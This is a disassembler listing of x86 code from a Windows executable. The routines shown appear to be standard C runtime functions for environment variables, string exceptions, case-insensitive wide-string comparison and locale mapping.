		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25D0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2850000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 265030Dh
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
